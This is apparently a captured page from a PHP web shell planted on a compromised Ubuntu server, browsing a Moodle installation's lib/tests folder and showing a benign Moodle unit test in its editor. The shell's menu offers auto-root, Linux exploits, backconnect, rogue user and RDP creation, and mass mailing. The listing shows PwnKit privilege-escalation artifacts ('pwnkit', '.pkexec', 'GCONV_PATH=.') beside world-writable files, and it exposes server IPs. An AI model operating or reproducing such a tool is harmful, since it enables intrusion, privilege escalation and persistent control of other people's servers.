Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.51
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
var /
www /
html /
insepet /
libromaster /
lib /
tests /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
behat
[ DIR ]
drwxrwxrwx
fixtures
[ DIR ]
drwxrwxrwx
other
[ DIR ]
drwxrwxrwx
performance
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-r--r--
accesslib_test.php
121.33
KB
-rwxrwxrwx
admintree_test.php
4.01
KB
-rwxrwxrwx
authlib_test.php
6.87
KB
-rwxrwxrwx
blocklib_test.php
13.18
KB
-rwxrwxrwx
code_test.php
2.89
KB
-rwxrwxrwx
completionlib_advanced_test.ph...
4.3
KB
-rwxrwxrwx
completionlib_test.php
29.62
KB
-rwxrwxrwx
componentlib_test.php
6.62
KB
-rwxrwxrwx
conditionlib_test.php
33.62
KB
-rwxrwxrwx
configonlylib_test.php
5.62
KB
-rwxrwxrwx
coursecatlib_test.php
27.33
KB
-rwxrwxrwx
csslib_test.php
54.76
KB
-rwxrwxrwx
csvclass_test.php
5.53
KB
-rwxrwxrwx
datalib_test.php
12.26
KB
-rwxrwxrwx
environment_test.php
1.57
KB
-rwxrwxrwx
eventslib_test.php
7.97
KB
-rwxrwxrwx
externallib_test.php
6.19
KB
-rwxrwxrwx
filelib_test.php
14.51
KB
-rwxrwxrwx
filter_test.php
26.7
KB
-rwxrwxrwx
formslib_test.php
28.63
KB
-rwxrwxrwx
gradelib_test.php
2.03
KB
-rwxrwxrwx
grouplib_test.php
18.92
KB
-rwxrwxrwx
html2text_test.php
6.15
KB
-rwxrwxrwx
htmlpurifier_test.php
9.8
KB
-rwxrwxrwx
htmlwriter_test.php
6.3
KB
-rwxrwxrwx
markdown_test.php
2.21
KB
-rwxrwxrwx
mathslib_test.php
8.21
KB
-rwxrwxrwx
medialib_test.php
23.77
KB
-rwxrwxrwx
messagelib_test.php
7.46
KB
-rwxrwxrwx
modinfolib_test.php
8.07
KB
-rwxrwxrwx
moodlelib_test.php
123.49
KB
-rwxrwxrwx
navigationlib_test.php
24.21
KB
-rwxrwxrwx
outputcomponents_test.php
18.2
KB
-rwxrwxrwx
outputlib_test.php
8.9
KB
-rwxrwxrwx
outputrequirementslib_test.php
1.71
KB
-rwxrwxrwx
pagelib_test.php
22.8
KB
-rwxrwxrwx
pluginlib_test.php
37.15
KB
-rwxrwxrwx
pwnkit
10.99
KB
-rwxr-xr-x
questionlib_test.php
3.1
KB
-rwxrwxrwx
rsslib_test.php
7.12
KB
-rwxrwxrwx
setuplib_test.php
5.73
KB
-rwxrwxrwx
statslib_test.php
19.13
KB
-rwxrwxrwx
string_test.php
4.21
KB
-rwxrwxrwx
textlib_test.php
24.62
KB
-rwxrwxrwx
upgradelib_test.php
1.47
KB
-rwxrwxrwx
weblib_test.php
16.3
KB
-rwxrwxrwx
Delete
Unzip
Zip
${this.title}
Close
Code Editor : externallib_test.php
<?php // This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Unit tests for /lib/externallib.php. * * @package core * @subpackage phpunit * @copyright 2009 Petr Skoda {@link http://skodak.org} * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later */ defined('MOODLE_INTERNAL') || die(); global $CFG; require_once($CFG->libdir . '/externallib.php'); class externallib_testcase extends basic_testcase { public function test_validate_params() { $params = array('text'=>'aaa', 'someid'=>'6',); $description = new external_function_parameters(array('someid' => new external_value(PARAM_INT, 'Some int value'), 'text' => new external_value(PARAM_ALPHA, 'Some text value'))); $result = external_api::validate_parameters($description, $params); $this->assertEquals(count($result), 2); reset($result); $this->assertTrue(key($result) === 'someid'); $this->assertTrue($result['someid'] === 6); $this->assertTrue($result['text'] === 'aaa'); $params = array('someids'=>array('1', 2, 'a'=>'3'), 'scalar'=>666); $description = new external_function_parameters(array('someids' => new external_multiple_structure(new external_value(PARAM_INT, 'Some ID')), 'scalar' => new external_value(PARAM_ALPHANUM, 'Some text value'))); $result = external_api::validate_parameters($description, $params); $this->assertEquals(count($result), 2); reset($result); $this->assertTrue(key($result) === 'someids'); $this->assertTrue($result['someids'] == array(0=>1, 1=>2, 2=>3)); $this->assertTrue($result['scalar'] === '666'); $params = array('text'=>'aaa'); $description = new external_function_parameters(array('someid' => new external_value(PARAM_INT, 'Some int value', false), 'text' => new external_value(PARAM_ALPHA, 'Some text value'))); $result = external_api::validate_parameters($description, $params); $this->assertEquals(count($result), 2); reset($result); $this->assertTrue(key($result) === 'someid'); $this->assertTrue($result['someid'] === null); $this->assertTrue($result['text'] === 'aaa'); $params = array('text'=>'aaa'); $description = new external_function_parameters(array('someid' => new external_value(PARAM_INT, 'Some int value', false, 6), 'text' => new external_value(PARAM_ALPHA, 'Some text value'))); $result = external_api::validate_parameters($description, $params); $this->assertEquals(count($result), 2); reset($result); $this->assertTrue(key($result) === 'someid'); $this->assertTrue($result['someid'] === 6); $this->assertTrue($result['text'] === 'aaa'); } /** * Test for clean_returnvalue(). */ public function test_clean_returnvalue() { // Build some return value decription. $returndesc = new external_multiple_structure( new external_single_structure( array( 'object' => new external_single_structure( array('value1' => new external_value(PARAM_INT, 'this is a int'))), 'value2' => new external_value(PARAM_TEXT, 'some text', VALUE_OPTIONAL)) )); // Clean an object (it should be cast into an array). $object = new stdClass(); $object->value1 = 1; $singlestructure['object'] = $object; $singlestructure['value2'] = 'Some text'; $testdata = array($singlestructure); $cleanedvalue = external_api::clean_returnvalue($returndesc, $testdata); $cleanedsinglestructure = array_pop($cleanedvalue); $this->assertEquals($object->value1, $cleanedsinglestructure['object']['value1']); $this->assertEquals($singlestructure['value2'], $cleanedsinglestructure['value2']); // Missing VALUE_OPTIONAL. $object = new stdClass(); $object->value1 = 1; $singlestructure = new stdClass(); $singlestructure->object = $object; $testdata = array($singlestructure); $cleanedvalue = external_api::clean_returnvalue($returndesc, $testdata); $cleanedsinglestructure = array_pop($cleanedvalue); $this->assertEquals($object->value1, $cleanedsinglestructure['object']['value1']); $this->assertEquals(false, array_key_exists('value2', $cleanedsinglestructure)); // Unknown attribut (the value should be ignored). $object = array(); $object['value1'] = 1; $singlestructure = array(); $singlestructure['object'] = $object; $singlestructure['value2'] = 'Some text'; $singlestructure['unknownvalue'] = 'Some text to ignore'; $testdata = array($singlestructure); $cleanedvalue = external_api::clean_returnvalue($returndesc, $testdata); $cleanedsinglestructure = array_pop($cleanedvalue); $this->assertEquals($object['value1'], $cleanedsinglestructure['object']['value1']); $this->assertEquals($singlestructure['value2'], $cleanedsinglestructure['value2']); $this->assertEquals(false, array_key_exists('unknownvalue', $cleanedsinglestructure)); // Missing required value (an exception is thrown). $object = array(); $singlestructure = array(); $singlestructure['object'] = $object; $singlestructure['value2'] = 'Some text'; $testdata = array($singlestructure); $this->setExpectedException('invalid_response_exception'); $cleanedvalue = external_api::clean_returnvalue($returndesc, $testdata); } }
Close